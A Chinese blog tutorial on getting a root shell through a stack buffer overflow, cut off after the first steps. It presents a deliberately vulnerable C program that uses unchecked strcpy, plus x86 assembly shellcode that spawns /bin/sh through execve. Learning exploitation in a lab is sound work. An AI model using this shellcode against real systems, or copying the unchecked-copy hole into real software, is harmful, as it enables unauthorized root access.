栈溢出攻击提权进入root shell

最新推荐文章于 2024-05-28 15:45:10 发布

痕枫冷

最新推荐文章于 2024-05-28 15:45:10 发布

阅读量4.3k

点赞数 1

分类专栏： shellcode

本文链接：https://blog.csdn.net/lyx2007825/article/details/40983809

版权

本文详细介绍了如何通过栈溢出攻击来获取root shell的步骤。首先，编写了一个简单的bug.c程序，然后利用shellcode避开00字节限制。接着，通过编写exploit.c进行栈溢出攻击，但在实际操作中遇到栈地址随机化和栈不可执行的保护机制。为了解决这些问题，关闭了这些保护，并用zsh替代bash，最终成功进入root shell。若不关闭栈地址随机化，文章也提供了一种可能的解决思路。

摘要由CSDN通过智能技术生成

以前对栈溢出攻击只是一种感官上的，最近学了shellcode，才真切地感觉到了栈溢出攻击有多么危险。

为了测试简单，写一个比较简单的程序，我们称之为bug.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	char buff[500];
	strcpy(buff,argv[1]);
	return 0;
}

这段代码比较简单，就是为了用来测试栈溢出的，很显然，它是有漏洞的。

好了，我们准备好进入root shell的汇编代码:

Section .text
global _start

_start:
	xor eax,eax
	push eax
	push 0x68732f	; /sh 小端机存储
	push 0x6e69622f ; /bin 小端存储
	mov ebx,esp
	push eax
	push ebx
	mov ecx,esp
	xor edx,edx
	mov al,0xb	; execve函数
	int 0x80

我们用nasm编译：